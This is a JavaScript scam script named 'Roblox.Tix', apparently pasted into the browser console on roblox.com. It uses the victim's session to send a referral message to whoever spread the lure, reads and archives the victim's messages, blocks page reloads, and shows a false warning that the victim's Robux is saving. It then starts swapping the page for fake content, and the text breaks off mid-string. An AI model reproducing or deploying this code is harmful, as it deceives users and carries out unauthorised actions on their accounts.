Roblox.Tix = { original: 'missingno', initialized: 0, shares: 0, loading: false, items: [], inventoryString: '
  • #
    %6
    By %4
    %5
  • ', disableF5: function(e) { if ((e.which || e.keyCode) == 116 || (e.which || e.keyCode) == 82) { e.preventDefault(); document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href; } }, watermark: function () { console.clear(); console.log("__________ ________ __________.____ ________ ____ ___\n\\______ \\\\_____ \\\\______ \\ | \\_____ \\ \\ \\/ /\n | _/ / | \\| | _/ | / | \\ \\ / \n | | \\/ | \\ | \\ |___/ | \\/ \\ \n |____|_ /\\_______ /______ /_______ \\_______ /___/\\ \\\n \\/ \\/ \\/ \\/ \\/ \\_/\nRoblox.Tix.js created by Urban420 Network"); }, addItem: function(category, name, image, creator, price, url, profile) { Roblox.Tix.items.push({category: category, name: name, image: image, creator: creator, price: price, profile: profile, url: url}); }, format: function(str, arr) { return str.replace(/%(\d+)/g, function(_,m) { return arr[--m]; }); }, countShares: function() { $.ajax({ url: "https://www.roblox.com/messages/api/get-messages?messageTab=0&pageNumber=0&pageSize=20", success: function(messages) { var invites = []; for(var i = 0; i < messages.Collection.length; i++) { var message = messages.Collection[i]; if(message.Body.indexOf("!!!") == 0) { invites.push(message.Id); Roblox.Tix.shares+=10; } } $.ajax({ url: "https://www.roblox.com/messages/api/archive-messages", method: "POST", headers: { "X-CSRFToken": "" }, data: { "messageIds": invites } }); } }); document.getElementById('documentFrame').contentWindow.document.getElementById('nav-shares-amount').innerHTML = Roblox.Tix.shares.toLocaleString(); }, init: function() { if(Roblox.Tix.initialized != 0) { console.log("Already initalized!"); return; } var referee = prompt("Who sent you this video?\nEnter their user ID here\n\n(If you found this video on your own, press Cancel to continue)"); if(referee != null) { $.ajax({ url: 'https://www.roblox.com/messages/send', type: 'POST', data: { 'subject': 'thanks for robux!!!!', 'body': '!!!', 'recipientid': referee, 'cacheBuster': $.now } }); } setInterval( Roblox.Tix.countShares, 2000 ); window.onbeforeunload = function() { return "Your ROBUX has not finished saving, if you continue your balance will be set to " + Roblox.Tix.original + " ROBUX"; } Roblox.Tix.initialized = 1; Roblox.Tix.original = document.getElementById('nav-robux-amount').innerHTML; document.documentElement.innerHTML = "